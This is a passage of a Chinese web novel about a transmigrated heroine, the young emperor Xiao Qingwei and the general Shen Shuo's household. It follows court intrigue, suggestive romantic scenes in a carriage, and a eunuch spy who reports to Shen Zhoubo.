人都是以自己的经历做判断,这位陛下.身受宦官专权之苦,当对此深恶痛绝,便是知晓外镇强藩入京亦是不妥,但刚刚从狼口逃生,即便知道前有虎盘踞,一个正常人也决计不会重回狼口。 “不似太.祖霸气,倒是颇具光宗遗风啊。” 赵成卓摩挲了一下手上的酒杯,倒是真的琢磨着怎么在路上让人病逝了。想了几个法子都觉得不妥当,说到底还是不好放下这个救驾之名,救驾、救驾,总不能救回来个死皇帝。 而那边沈朔已经下了决断,“让他自己去挑。” 挑? 赵成卓瞬间意会。 “要插几个人进去?”也不等沈朔答,就自行嘀咕起来,“是宦官确实有点难办,但他又不可能真的脱了裤子一个个检查了去,倒也不是没有余地……我去安排!” 11.旧日青梅11 待送药的士卒离开后,萧清维略显生硬地避开了和郑珣的视线接触。 瑶娘其实并不喜欢这些事,他也有意回避,不想要被她看见,但却总有躲不开的时候,就如救驾之时,就如现在。她会怎么想呢? 郑珣其实什么也没想。以两人现在的状况,周围过来的任何人都可能是眼线,在天兴城的时候,萧清维就赶过一次服侍的奴婢了,他又对沈朔也没什么信任度,这会儿想办法赶走对方派来的士卒再正常不过。 连郑珣自己都觉得,沈朔派过来的人不可能是纯粹为了照顾。刚才那句“大郎喝药”魔性地在脑子里来来回回地重放,郑珣盯着那碗被萧清维放在一旁的药看了许久,觉得还是以防万一为妙。 她抬手端起来,拿里面的羹匙搅了搅,正准备尝尝,突然间被侧边伸过来一只手抓住了手腕。 骨节分明、手背上青筋绷起,伸手的人显然用了十分的力气,但却没有抓疼她。 郑珣抬头看过去,对上了萧清维的视线。 “不要。”他顿了顿,加重语气,“瑶娘,不要。” 萧清维就这么直视着郑珣的眼睛,攥着她的手腕,一点点将那瓷白的羹匙挪到自己的方向。 郑珣眨了下眼,在那洁白的壁沿要碰到萧清维的嘴唇的时候,突然倾身凑了过去,哧溜地把那一勺药汁喝完了。 哕~ 苦死了! 她整张脸都拧巴了一下,旋即又强行舒展开,仿佛就是刚才尝了尝咸淡一样,语气自然地开口,“有点凉了,我去用热水温一下。” 她说着,就要端起药碗来往旁边走。 手腕被攥住了。 试图蒙混失败,郑珣有点无奈地转回来,脑子里想着怎么把这遭敷衍过去。 她知道萧清维的意思。萧清维是个各种意义上的好人,他不可能想让她试毒,但问题是,郑珣是来小世界做任务的,凉了就凉了,最多记个任务失败,还不一定失败,但萧清维死了可就真死了,而且让对方活下,本就是她的工作目标之一。 郑珣打了半天的腹稿,准备说服萧清维,但才刚俯下.身去就被轻轻抚上的面颊。 掌心覆过来的力道像是轻柔得像是在呵护枝头含苞的花蕾,但他说出口的话却像是爆竹,炸开后震得郑珣脑子嗡嗡的。 他问:“瑶娘,你想要个孩子吗?” “……啊?” 郑珣人都傻住了。 但她觉得自己这反应非常正常,这可是连上辈子都没出现在她脑子里的选项! 颊侧那只清隽的手在上门轻轻摩挲的两下,温热的触感熨得那一片肌肤都泛起了霞色,萧清维轻轻屈起指节往下,指.尖轻柔地抚过脖颈的侧边。他小心地越过颈侧横亘的血痂,停顿在锁骨处,青年似乎也有片刻犹豫,手指在停留间加了点力道,但又很快做下了决定,转而以指.尖勾住了衣襟的领口处。 这动作称得上狎昵,但是他的表情却如平常一般的温润平和。 “要个孩子吧。”就连开口的语气也是平静地,“你的孩子必定是太子。倘若他日我有个万一,你也不会有事,幼子孱弱,他们需要一个太后。” 郑珣本来都要被萧清维这突如其来的态度吓懵了,但后面一番话却让她重新回了神。 怎么说呢? 这还真是萧清维能干出来的事!很有他的风格。 这人性格好归好,但有时很想敲开他的脑壳看看里面都装的些什么。 只不过想想他的人生遭遇,又有点儿不忍心了。 郑珣默默在心底吐槽了一句,眼神往旁边瞥了下。榻旁的小几上放了盘蜜饯,大概是为了喝完药解苦用的。 那边萧清维似乎还想说些什么,但在他继续开口之前,郑珣已经捻起了一枚蜜饯,趁着他张嘴之际,眼疾手快地塞到了他的嘴巴里。 这次愣住的换成萧清维了。 温雅贵公子表情呆愣,嘴巴里还含着一颗蜜饯。 这是可可爱爱小(萧)豚鼠啊?! 郑珣得忍得很努力才没有笑出声。 她另一只手抬起,手指按在对面人的额心,点着他的脑壳加重声音,“我要你活着。” 萧清维顺着额心的力道仰头看过去。帐外冬日的寒风凛冽,顺着毡帘的缝隙钻入帐中,但是他却撞入了一双如春水般的眸子,池水静谧,潺潺淙淙,于耳畔奏出了泠泠之音。 “没有万一,也没有什么太子太后,你会活下去。” 蜜饯表层的糖霜化了,蜜水顺着喉咙而下,淌过食道进入身体,本该就此结束,但胃里却像是被甜蜜的滋味灼烧了。 欲令人昏,当节之。 但是此时此刻,那近乎贪婪地渴求让他呼吸都变得重了,五脏六腑都在发痒,仿若有虫蚁在上啃噬,无声地催促着他做些什么。 萧清维不敢再对着那双眼睛看下去,急促地错开目光。 但余光匆匆一瞥间,却看见了刚才被他挑得敞开的领口,侧边的锁骨上,刚才按压的指印在雪色肌肤上晕开淡绯的痕迹,萧清维几乎不自抑地被这妍丽的痕迹吸引。 那轻薄的克制像是张纸一样被撕得粉碎,他人凑上前去。 ‘倘若不是为了孩子呢?’ 萧清维几乎要将这话问出口了,却看到了那横亘于颈上的血痂。一盆冷水兜头浇下,他在这一瞬间被拽入了冰雪封覆的现实。他尚不知道自己有没有明日,怎能拉着她一同入局呢? 郑珣疑惑地看着突然凑近又突然停下的萧清维,但还是接上了刚才的话,表情故作严肃地,“下次不许说这种话了!” “好。” 萧清维低低应了一声。 他轻轻偏头,像是无意间擦过,克制着在那粉白指.尖烙上一吻。指腹上残留的糖粉贴到唇上,被他一点点抿到了口中。 郑珣:? 又来了!明明在说正经事,但好像有哪里怪怪的。 * 对于郑珣而言,接下来的发展一切都很顺利。 萧清维的烧退了,虽然身体还虚弱但已经在好转,沈朔和李翊基本达成一致,只剩下细节来回扯皮,但无碍大局。沈朔也来探望过萧清维几回,每次不咸不淡地问候了几句。 但这次倒是有所不同。 通传之后,沈朔入帐内,敛着目光下拜行礼。简短的礼节后,他直奔主题,“大军在此停留时日甚久,陛下病体既愈,该及早动身,早日回京安定朝局。” 去主帐帮忙写了几天的信的郑珣心知肚明,这就是沈朔和李翊谈妥了,准备放天子归京,过来通知一声。 虽然类似的场景已经见过几次了,郑珣还是觉得不适应。 要知道以前的沈朔最烦各种条条框框,便是面见长者,也往往是未经过通传就闯入内,声音永远被人先到。可是眼前的青年却谨守分寸,非通传不入内帐,面见帝王礼仪周全。 除了身上配着刀。 不过在经历过宦官劫持天子离京后,沈朔这点僭越倒显得没什么了。 郑珣最为不适的是,她隐隐觉得眼前人和她在主帐内见到的沈朔也有不同。但后者更没有道理了,沈朔又没有双胞胎,这又不是武侠仙侠小世界,不可能有什么长相一模一样的替身。 那边萧清维倒不觉有异,他脾气很好地点了头,“朕已无大碍,照沈将军的安排便是。” 沈朔又告知了拔营的详细时间,君臣寒暄了几句,他才提出告辞。 离开的时候仍是拱手后退,步伐稳重地向后移动。 郑珣实在忍不住心头的别扭,多看了两眼,却冷不防地和沈朔对上的视线。漆黑幽沉几乎要将人拽着拖下寒潭,和这几日主帐里见过的全然不同。 郑珣心头一惊,简直是仓促地挪开视线,转头却发现萧清维也在看她。 准确的说,是看她和沈朔。 郑珣:“……” 这种“仿佛一下子捅了两个人的肺管子”的错觉是怎么回事? 12.旧日青梅12 沈朔来告知“及早动身”那真的是“及早”。 郑萧两人第二天就在一队骑兵的护送下出发了,但他们是走了,大军调拨却没有这么快。沈朔让沈周伯先行一步、率轻骑护驾,自己押后协调大军行进。 虽然出发得很匆忙,但是赶路却并不劳累。 一路拣着官道走,前行速度并不快,中间遇到开阔的地方还会停下来休整一阵子,和来的时候狼狈奔逃简直是天上地下。要不是冬日寥落没什么好风景能看,这一趟真的和旅游差不多了。 郑珣知道沈周伯是有意照顾,不然以骑兵的行进速度,这三天路程赶在一日都是小意思,但一直到沈周伯已经闲到趁着休息的空档出去遛着马转了一圈,还捡了不少枯草回来当马料的时候,郑珣才意识到对方这照顾真的挺照顾的。 还是那个问题,她当年和沈十六的关系有那么好吗? 郑珣忍不住陷入沉思。 那边沈周伯正把捡回来的草料放到一旁,抬眼看见郑珣在看这边,于是便就放下手里的枯草,拍了拍身上草屑快步走了过来,口中问:“殿下休息好了?” “……” 郑珣走着神一时没有答话,沈周伯疑似被晾了一下也不是很在意,他瞧起来很有耐性地,“殿下要是还没休息好,那便再歇一会儿。” 但他要是真的是能耐下性子,那就不至于出去遛马拾草了。 让他安安分分呆一会儿,简直比登天还难,这一点上倒是跟当年的沈朔一模一样。 说起沈朔来。 郑珣上下打量了沈周伯几眼,突然开口,“手伸出来。” 沈周伯:……? 郑珣:“手。” 沈周伯虽然还是不明所以,但还是老老实实照郑珣说的做了。 因为不知道郑珣要哪只,就两只手都伸出来了,摊开在郑珣眼前。 和郑珣猜的一样,手指侧边和手背上都是细密的划痕,细长细长的、一看就是拉拽枯草留下的痕迹,浅一点的起了油皮白印子,深一点的见了血,反倒是生了一层厚茧的手心幸免于难,但本人显然对此毫无在意。 果然,和沈朔一个臭德行。 说了多少次也不听。 前段时日对方送的伤药还在身上,郑珣把药翻找出来,就要去抓他的手。 沈周伯下意识地往后收了一下,被郑珣呵斥了一句“别动”,才老老实实站着不动了,被郑珣抓着手上药。 但才站了一会儿,他表情就忍不住别扭起来。 沈周伯也给自己上过药,多数时候都是药粉,糊在伤口上兼具止血的功能,忍忍疼一阵子就过去了。军中医工也是差不多的手艺,有时候忙起来比他自己下手还重。 但是这次好像跟之前不一样,麻痒麻痒,沈周伯觉得是药的问题。 他帮二兄转交给小二嫂的外伤药是药膏质地的——沈周伯记得是二兄下面哪个属官进献的,说是有什么东珠粉还是百年灵芝肉的,沈周伯没记得太清楚,毕竟就连半个巴掌都不到的一个小罐,真要有什么要命的伤势,伤口上都不够糊的——但这会用起来,真的挺痒的。 手背上的触感仍旧忍不住让他不太自在地动了动肩膀,然后就因为乱动被拍了一下手臂。 沈周伯:“……” 他重又站直了。 但隔了一会儿,又忍不住活动了一下腿脚,碾起了脚下的土。 有点痒。 还有点……软。 草叶划出来的伤口都不深但很密集,郑珣费了些功夫才处理完,主要是期间沈周伯一直动来动去,被敲了好几遍才老实。 以郑珣脖子上伤口恢复程度来看,沈周伯送的这药效果不错。 郑珣无聊的时候,也戳着系统问过里面的成分,原料不便宜。但既然送她了,郑珣也不客气,这会儿用过之后重又收了起来。 收好之后,发现沈周伯还站在原地没动弹。 “怎么了?” 沈周伯看看郑珣,又看看自己还没收回去的手。 他想了想,小幅度地屈了屈左手的食指,又往前递了下,“这里疼。” 郑珣凑过仔细看了看。食指的靠内一侧有些红肿,里面还有个小黑点,她道:“应该是扎刺了,回去拿针挑出来就好。” 沈周伯:“……哦。” 他慢吞吞地应了一声,没走也没动。 郑珣:? 法子都告诉你了。你倒是去啊!看我干什么? 沈周伯不语,只是眼巴巴地看着她。 这么看过去,郑珣倒是发现了他和少年沈朔的不同,同样狭长的眼睛,但是沈周伯眼瞳要更大一点,面部线条也偏柔和,这么巴巴地看过来,居然有点可怜的意味。 郑珣:“……” 真是欠你们沈家的! 她深深吸口气,揪着沈周伯的手指到了旁边正烧着水的铜釜旁边,“先让水汽蒸一蒸吧。要是刺能浮出来,就不用用针挑了。” 走了这么两步路,沈周伯也回过神来。 他低声答应了一声,眼神却有点不知道往何处安放,一会儿看看远处,一会儿看看旁边的锅,水汽熏得周围朦朦胧胧的,像是下了雾。 沈周伯环视的目光最后落到了不远处的马车上。 车停在原地有一阵子了,随行的宦官上去又下来,大概是里头的人有什么吩咐。 沈周伯看了两眼就收回了视线。 只是隔了会儿,他突然开口,“我们赶路的速度不快。我二兄军中有可以交托大将,便是防备张凤岐从后偷袭,也不会在原地耽搁太久,等他安排好军务,最迟后日便能赶上来。” 郑珣点了下头,“我知道了。” 沈周伯:“……” 郑珣察觉到沈周伯似有未尽之言,询问看去。 明艳漂亮的脸近在咫尺,沈周伯瞬间就冷静下来。 声调也跟着凉了几分,“殿下还是注意些吧。” 这几日小二嫂和天子浓情蜜意,一路扶持的,他可以当瞎子看不见,但等他二兄来了可不一样了。她先前都能为了天子去见二兄了,不会连这么简单的道理都不懂。 热水蒸腾了雾气,看不清他脸上的神情。 郑珣觉得沈周伯这话仿佛有什么深意的样子,但低头看看对方老老实实伸过来的手,郑珣当即团吧团吧把脑子塞了回去。 这臭小子根本是嫌她赶路太慢,搬出他哥来吓唬她吧! 危言耸听这种事,沈朔当年就可爱干了。 * 另一边,停靠的马车上。 一个相貌清秀的小宦官将热汤端了上来,恭恭敬敬地放到了中间的小几上,低声请示:“陛下,饮子煮好了。” 萧清维慢了半拍回神,他抬了下手,“放下就下去吧。” 小宦官应声离开,车帘再次掀起,萧清维看清了那边站立的两人。 一高一低的两个人身影似乎在交谈,距离得很近,近得并不似素不相识之人。 刚刚病愈不能受风,这次伺候的人都很谨慎。扬起的车帘很快落下,寒气被挡在外面,车厢内重又陷入昧昧昏暗,萧清维也跟着半垂下眼。 虽然第一日便有所猜测,但猜对了的感觉,还真糟糕。 ……“旧怨”啊。 于是等到郑珣透完气回来的时候,就看见萧清维沉着一张脸不知在思索些什么的样子。 不过看见她上来,萧清维倒是立刻收敛下那并不太好看的神色,冲着她温和地笑了笑,“我让人煮了姜枣饮子。这会儿刚好放温。外面风大,你吹了这么久,也喝点去去寒气。” 郑珣应了一声,却没有急着去喝,反而先把自己手里的东西塞给萧清维,笑着:“刚刚在外头采的果子, 你尝尝。” 果子和指甲盖差不多大小,红彤彤的一颗,像是小颗的枣子,看着甚是喜人。 萧清维不疑有他,当即递入口中。但才咬了一口,就顿住了。 尖锐的酸味就在舌尖漫开,怪异的涩味让口腔都跟着滞涩起来,酸味刺激着口水分泌,忍不住吞咽却带着舌根都跟着发苦。 郑珣看着他这僵住的表情,在旁边不客气地笑出声。 眼见着萧清维还要往下咽,郑珣连忙伸手过去拉他,“快吐出来!你不能吃这东西。山茱萸,性温敛,你才刚刚退了热没几天,别吃得又低烧了。” 萧清维很快就着帕子将口中的碎果肉吐出来,又用旁边的饮子漱了口。 一番折腾后,车内总算恢复了一开始的平静,萧清维一口一口地喝着原本给郑珣准备的饮子,借着姜辛和枣甜味儿压着那怪异的苦涩。 郑珣盯着他看了会儿,抬手轻轻点在了他的眉心。 萧清维怔愣,抬眼看过来。 郑珣看着他,放柔了眉眼,“别愁眉苦脸的了。再忍忍,过不了几日,便就要到帝都了。” 萧清维心情不好。 从开始赶路就如此了,今天尤其。 郑珣能感觉到,并且觉得可以理解。 马车空间密闭又颠簸,短途赶路还可以,一整日都闷在里面,真能把人闷出病来。郑珣还时不时地下去走两圈透透气,萧清维因为大病初愈,在外面呆的时间都不能太久,大半时间都闷在上面。况且他还有两次被安温册挟持的经历在前,在密闭车厢里没ptsd都是萧清维心理素质高了。 “往好处想,今年还赶得及回宫里过年呢!” 萧清维握着饮子杯盏的手指蜷了蜷,仿佛那瓷壁突然变得烫人似的。 隔了好一会儿,他才声音很低地应了声,“……是。” 但再之后,萧清维没出声了,只敛眸小口小口地喝着饮子。 郑珣倒也没在意。 食不言寝不语,在这方面萧清维还挺讲究的,喝汤的时候不说话很正常。 萧清维是没有说话,但却在想别的事情。 浑浊的汤水表面上映出那双温润的眸子,液体随着啜饮摇摇荡荡的,层层波纹掩住了其中真实的情绪。 萧清维一直到慢吞吞地喝完,才像是有了决断。他将空盏放在了一边,从怀里拿出了一件东西——是个半新不旧的络子,结打得并不精细,又因为放的时间久了,上面的丝线也失去了原本鲜艳的色泽,整只络子都显得灰扑扑的。 “马车颠簸,箱笼最好还是上个锁,这络子不知什么时候滚出来的,教我今早在暖匣后头拾着了,好悬没被烫坏了。既是瑶娘的心头爱物,便好好收着,待它日找不见该着急了。” 郑珣本来看见这络子就一愣,再见它被萧清维拿在手上,一本正经地说是什么心头爱物,更是表情不自然起来。 她语气含糊了一句,“倒也不算……”心头爱物。 事实上这东西放在她的妆奁最底下,好几年都没动一下,她都几乎要忘了。 只不过被挟持离京的时候,她是带着妆奁走的。等上面几层的首饰一件件地和禁卫交易了出去,这络子便被露出来了。后来连妆奁都卖了,也就剩了这一个络子了。 但郑珣觉得,它留下的最主要原因是这里头东西不值什么钱。 若是原本完整的白玉自然是价值连城,但这里面玉这块连残璧都算不上,顶多是个玉佩碎片,她就是想要卖给禁军,人家也不一定要啊。 所以这络子就这么一路跟着她,从被劫持到安顿,到再被劫持到再安顿。 郑珣尚且纠结着怎么解释,但那边萧清维却已无声地叹了口气。 谁都有一两件旧物,珍之爱之,或父母师长馈赠,或个人机缘志趣。这种事本不必解释的,越是解释才越是奇怪。 13.旧日青梅13 车内萧清维摇了下手铃,立刻就有个眉目清秀的小宦官自车后辕掀开了帘子,他脚下跟马车保持着近乎同步的速度,还不忘躬身行礼,恭敬询问,“陛下有何吩咐?” 这秀气的小宦官也有个秀气的名字,叫“珍”。原本叫“安珍”,不过近来因为认的干爹死了,改回了本姓“吕”。 是的,他的干爹就是安温册。 身上背着这么个不赦的死罪,却得以侍候御前,他干起活来那叫一个诚惶诚恐、妥帖尽责。 “这饮子淡了些,在火上多耗一耗。” “是。” 趁着萧清维和那小宦官说话的功夫,郑珣赶紧勾着线绳把络子扯到了自己这边,正要往怀里放的时候,萧清维已经抬眸看了过来。 郑珣:“……” 有种微妙的萧清维其实在给她创造机会的感觉。 萧清维笑了下,“这上面的丝线都旧了,结的样式也好些年了,早就不时兴。等回了宫,把外头的线都换了吧。” 郑珣摇头拒绝,“不必了。” 这东西本来就是当时鬼使神差留下来的,要真费那么多心思,反倒显得她多放不下似的。虽然心里骂了智障系统那么多年,但毕竟是她自己做的选择,这点承担后果的责任心还是有的,而且她来小世界又不是为了谈恋爱的。 见郑珣态度坚决,萧清维也没有强求,只道:“瑶娘打扮一向素净,想来是不喜欢折腾这些。” “宫中开支本就多,不好在这上面再费心思。” 她那是不喜欢吗?她是没那条件。 萧清维若有所思地看了她一会儿,突然开口,“当年刚刚大婚的时候,瑶娘常令下仆持潞王府手令四处采买。瑶娘虽于饮食上素来精细,但在女子用的香粉妆奁上却称得上简朴,但若只言吃食,潞王妃的份例足矣,当年那么大的花销,听闻连江淮陈氏出的嫁妆都填进去了不少,瑶娘妆奁里怎么也未添多少首饰?” 郑珣愣了一下,抬头看过去。 马车上的光线昏暗,因为怕失火烛台也不敢点得太亮,昏暗的灯影绰绰地映在那张如玉的冠面之上,竟显得幽邃了。 萧清维不急不缓地继续,“郑司业虽出身郑氏,因性情古怪更兼之娶了商户女,几乎被家族除名。当年沈相被逼自尽狱中,科举士人联络断绝,父皇有心缓和与世家关系,又担心操之过急,引得宦官警惕,故而选了郑司业。” 这话倒是没错。 家里逢年过节门庭寥落的,有个把亲戚还都是岳家,郑珣一直以为她那神人爹就是个贫穷的国子司业,倒插门进了她母亲家。等她要议亲事了,突然多出来一堆不认识的牛逼亲戚,着实把她惊了个够呛。 “那瑶娘呢?听闻郑司业甚爱妻女,家中之事多由女子做主,婚事这么大的事定在其中,如此想来,大婚前那几次宴上偶遇,也并非意外。诸位适龄皇子中,瑶娘为何选中了我?” 郑珣:“不……” 别的不说,“郑父爱妻女”这条绝对是造谣了!她娘走了以后,家里的事确实是她管着,但主要是因为她这辈子的亲爹真的是个神人,家里要是没个正常人,他能把自己的饿死在书房里!! 似乎是察觉了郑珣想要模糊重点,萧清维轻轻笑了一声。 明明他表情语调和平常没什么分别,但那双带着笑意的温润眸子看过来的时候却显得摄人。 郑珣原本要辩解的话顿时咽了下去。 萧清维说的,某种意义上就是事实,她当年确实是故意接近萧清维。一方面是按照系统给出的建议,另一方面,郑珣那时候确实需要潞王妃这个身份。 萧清维已经自己给出了那个答案:“是因为我被父皇安排进了刑部吗。” 郑珣张了张嘴,想要道歉,眼睛突然被人伸手盖住了。 视野陷入了一片黑暗,其他感官变得灵敏。 刚刚病愈,萧清维身体还虚弱,便是人靠着车上的暖匣,手仍旧是冰凉的,郑珣只觉得一块冷玉贴到了面颊上,冰得她往后瑟缩了一下。 但她很快就回过神了,没再往后退,反而是贴着他的手蹭了蹭,算是无声地致歉。 再来一次她还是会这么做,但这对萧清维很不公平。 萧清维顿住。胸腔中不住翻涌的嗔念被这轻柔的动作抚平,不想被对方看见扭曲表情也舒缓下来。 但是他覆过去的手依旧稳稳地盖在了女子的上半张脸上。 那双明丽清亮的双眸被遮挡,只剩下半张脸柔婉的线条,樱色的淡唇抿紧又放松,在上面浸染开一层灼灼桃晕,纤白的脖颈顺着压过了掌心的力道轻轻扬起,一副任君采撷的模样。 因为觉得歉意,所以才想要拼命补偿吗? 但是他要的不是歉意。 萧清维另一只手轻抚上拿到横亘颈间的狭长伤痕,眼神却暗了下去。 为所求不择手段,他身上终究流着萧家的血。他的父亲为了和宦官夺.权,重用寒门,但当寒门的刀钝了,他毫不犹豫地弃刀另选,用世族用宗室用儿子,利用一切能用的,最后却被用的儿子逼死了。他的兄长为了登上帝位,不惜联合宦官,一朝得偿所愿,欲要兔死狗烹,却被鸩杀于大殿之上。 用天下人,天下人亦用之。 他可能也没有好下场吧? 脑海中闪过这个想法,萧清维发现自己并不太在乎。那日的火海中,他已经选好了自己的葬身之地,却又被人生生地拽了出来。 再回到那重楼殿宇之中过个年节吗? 他本以为那是埋藏一切的坟冢,如今回忆起宫中节日,竟也觉得喜庆起来了,他原本该多去凤来宫坐坐的。 注视眼前淡色唇.瓣,萧清维表情一点点温柔下去。 瑶娘今日送来的果子,滋味不甚辛涩,他该吃下去的,毕竟瑶娘定也是尝过,才拿来捉弄于他。 轻抚着伤痕的手绕到后颈,他倾身凑了过去。 郑珣只觉得脖子上一冰,像是冰凉的蛇吐着信子绕着脖子跑了一圈,她鸡皮疙瘩都起来了,还没来得及躲,轻柔的碰触落在唇上,这一次的感觉却是温热的,还不等郑珣判断出那是什么,濡湿的触感从唇.瓣传来。唇.肉被不轻不重地咬了一口,像是惩罚,却又紧接着被细细地含.住了。 郑珣脑子都空白了。 这什么意思?!萧清维到底在干什么?!!他脑子还清醒吗?! “我们要个孩子吧。”湿热的气息彼此交融,萧清维旧事重提,他在唇齿的间隙低低地,“孩童不知事,便于控制又好教养,瑶娘可以让孩子拜他当义父。效仿前朝贺孟旧事。” 什么贺孟旧事?! 郑珣本来就是无意识地内心尖叫,智障系统却照例尽职尽责给出回答,[前夏明宗驾崩,宣宗年幼登基,贺太后朝称制掌朝堂权柄,孟迁彬为大丞相、南军统帅,手握军政重权。二人年少本有婚约,旧情未断,贺太后垂帘期间,许孟迁彬自由出入宫帐,同食同处形同夫妻,朝野上下人人皆知,宣宗对其亦极为敬重,待之如生父,后更是赐姓皇姓,归入宗籍,享皇室祭祀。] 温柔的仿真人声适时在脑海中响起,语调平缓地向郑珣科普这一桩前朝旧事。 郑珣:“……” 不要把这么炸裂的内容用历史科普的讲学语气说出来啊! 而这片刻晃神的功夫,原本轻扶在颈后的手已经落入腰间,指.尖挑开腰上的玉扣,郑珣只觉得帛带一松。腰上的束缚散开,原本服帖的夹袄也跟着松了,外面的寒气从衣裳的缝隙灌进来。 郑珣被冷得一个哆嗦,脑子瞬间清醒过来,一把把萧清维推开。 推是推动了,但她本来就被萧清维揽着腰,这一下子连自己也没能幸免,整个人栽倒在萧清维怀里,两个人的冲力一 块撞到了车厢壁上,发出好大一声响。 郑珣一时都忘了刚才的事,忍着口腔内侧的磕伤,爬起来问:“你没事——” 长长的透明的带着血迹的丝线拉开在两人之间,扯断后冰凉地贴到了唇角,郑珣的声音戛然而止。 她目不忍视地闭上了眼,还不如刚才萧清维捂着她的眼睛呢。 这不是最糟糕的事情。 车内温度陡降,郑珣因背对着车后的帘子,能清楚地感觉到外面的寒风凛冽地往里吹。 风透过棉夹层的上衣吹到了背上,寒意呼啦啦地往她心里灌。 车里那么大的动静,随车的内侍肯定要进来看。而这会儿她正栽倒在萧清维怀里,衣衫不整、腰间的系带被扯开,仿佛正在做什么不可言说的事情一样。 郑珣整个人都僵住了。 她恨不得当场冻成个冰雕。 萧清维倒是很从容。他安抚地轻拍着郑珣的僵硬的身体,看都没有看一眼半掀的后车帘子,语气淡淡地,“出去。” 身后往里灌的风消失了,但郑珣并没有觉得心情有所好转。 “好了,人已经走了。”萧清维还在安慰,“知道你这时候不喜欢人在侧侍奉,敦伦之礼,没什么不可见人的。” 郑珣:“……” 死去的记忆又开始跳起来抽打她! 天知道大婚那日她看到帐外有影子晃动,询问萧清维却被平静告知“那是记录皇子府内档彤史”时的心情。郑珣简直用尽了毕生的克制力才没有尖叫出声,而是礼貌地询问“能让她们出去吗”,万幸萧清维答应了。 即便如此,当晚的红烛哔啵之声中,郑珣还是睁着眼睛盯着帷帐上鸳鸯交颈并蒂生莲的绣纹看了整整半夜。她是真的认真思考过,这破任务她是非做不可吗。 萧清维轻轻抚上了怀中人的脸,指腹在微红眼角处轻轻摩挲。 昏暗的烛光像是将人拽回的大婚之日,好像那一.夜她也是这样的表情,但萧清维记不太清楚了,那晚她哭了吗。但确实绞得很紧,无论怎么哄都不肯放松,他还以为自己将人弄疼了,只是一味地摩挲着后脊尝试安抚,却无甚收效,想来不是身上疼,而是心里在泣血。 “瑶娘想要和他的孩子?” 郑珣勉勉强强从不住鞭打她的回忆中回神,“啊?” “宫中人多眼杂,又有记录内帷的彤史,倘若有借脉承宗之事,难免有流言传出,皇室血脉混淆,恐有人以此生事,还是路上好些。” “路上?” “对,路上。”萧清维应了一声,见那被吻得发红的唇.瓣又褪.去了朱色,忍不住以指抵住,轻轻在上按压,“过几日沈节度也赶上来了,以月信推算日子也快过半了,倒正正合适。瑶娘趁夜去邀,想来他不会拒绝。” 郑珣:??! 为什么我的生理期你会记得这么清楚?还有你说正正合适到底是什么合适!!这邀到底是邀请什么!烧烤啤酒小龙虾吗?! 人在CPU烧干的时候,连询问声都发不出来。 郑珣觉得自己像是条吐泡泡的金鱼,嘴巴张合,表情一定蠢极了,好像还有口水。 郑珣:! 她下意识抿了一下,又松了口气。太好了,不是口水,刚才倒霉催得把嘴磕破了,现在在流血。 手指.尖被唇轻轻含.住,鲜红的血顺着指腹边缘溢出,宛若在唇上绽开的榴花,艳丽极了。 萧清维呼吸重了几下,终于抑不住地凑上去。他轻柔地吻去了血迹,舌尖深入一点点寻找着口腔内侧的伤口,又一叠声地重复,“瑶娘……瑶娘……” 郑珣推了一把居然没推开,只能眼神直勾勾地盯着车厢壁看。 她冷静地想—— 萧清维一定是疯了! 要么是在马车上待了太久闷出病来,要么是之前高烧烧坏了脑子。 14.旧日青梅14 当晚,官驿。 沈周伯正点着灯看手里的几张画纸。房间的一角,模样清秀的小侍正垂首侍立一旁。他低眉敛目,半天姿.势都没变一下,连呼吸声放得既轻又缓,一个生生的大活人站在这里居然没什么存在感。 仔细看看模样长相,竟是白日里侍候在天子身侧的那小宦官吕珍。 沈周伯手里拿的那几张画就是他送过来的。 这小宦官有一手好画技,寥寥几笔,人物情态跃然纸上,但沈周伯越看越是牙酸,等翻到马车上那张的时候更是动作一顿。 沈周伯:“……” 他提醒小二嫂二兄快到了意思是让她收敛点,而不是趁着他二兄还没到的时候,和天子颠鸾倒凤!想着今日马车侧边,自己好像还骑着马从旁边护卫走过,沈周伯顿时浑身都不得劲起来了。就不该多余说那些话! 沈周伯心底把白天的自己骂了个狗血淋头,还是不得不捏着鼻子收拾残局。 “我二兄将你安排在天子身边,是探听天子动向,看他有没有和什么人勾连。不是让你趴在人床底下画春.宫的!”他手指捻着纸张,头也不抬地对旁边的人吩咐,但待那张马车上缠.绵的画被抽出来,整幅图都显露眼前时,沈周伯眼皮跳了跳。 女子衣衫半退眉目含情,好一幅海.棠春睡图。 这画要是由他经了手送到他二兄跟前,他自己也得扒层皮去。 沈周伯加重语气,“以后这种没用的,少画!” 那边吕珍恭恭敬敬地行了个拜礼,说话轻声细气地,却并不是领命答应,“奴以为,将军想知道这些。” 沈周伯正把那纸往火盆里扔的动作一顿。 他霍然抬头看向这个小宦官。 吕珍依旧是那敛眉敛目的模样,瞧着就是识时务通心意的小宦官。 “锵——!” 沈周伯将佩刀掷了过去,刀刃擦过他的脸颊,几缕碎发被切断,脸颊侧传来轻微的刺痛。 吕珍敛着的眸子闪了闪。 但紧接着,面上就自然流露出惶恐的神情。 他跪倒在地上,再三叩首,“都尉饶命!” 人磕着头,身体也跟着瑟瑟发抖,瞧着当真是被刚才那一下子吓着了。 沈周伯却没有半点动容,他往前踏了一步,单脚踩在旁边的杌子上,倾身向下、压沉了声调,“并汾军是为了救驾而来,和‘乱臣贼子’不一样。” 他在“乱臣贼子”上加重了音,指的是谁不言自明。 吕珍磕头的动作却顿了顿。 少顷,他依旧伏地叩首,但细柔的声音稳稳地传了过来,“尊翁爹爹教导过奴,当今天下能者居之,能不配位者该退位让贤。奴以前困于皇宫方寸,不识天下之人,见到节帅才知何是英雄人物。尊翁爹爹能死在节帅手上,也是极好的归处,今奴愿意奉沈节帅为主,当牛做马任凭驱使。” 这个人想要让他二兄杀了天子。 天子即死,便没了所谓“救驾”的说法。没有救驾,安温册是不是乱臣贼子,便也可以留有余地了。连安温册都不是叛逆,其余人包括他这个养子更算不上逆党了。 沈周伯看着跪地不起的人,心头闪过一丝切实的杀意。但凉森森的目光在那低垂的脖子上转了一圈,最后还是把嵌到墙里的刀拔了出来。 他一边擦着刀上蹭的血迹,一边淡声,“别做多余的事。” 小宦官叩首:“奴知晓了。” 沈周伯擦刀的动作都顿了下。 是啊,他可知道了。 知道这会儿杀不杀他不是他能做主的,就算交由他二兄决断,多半也是倾向于把人留下。 沈周伯心情糟糕地,“滚出去!” 吕珍:“是。” 小宦官轻手轻脚地出去,走路间衣袂不动,瞧着几乎是飘的。这驿馆年久失修到处都是吱嘎响,也不知道对方怎么做到的,连关门都没弄出动静。 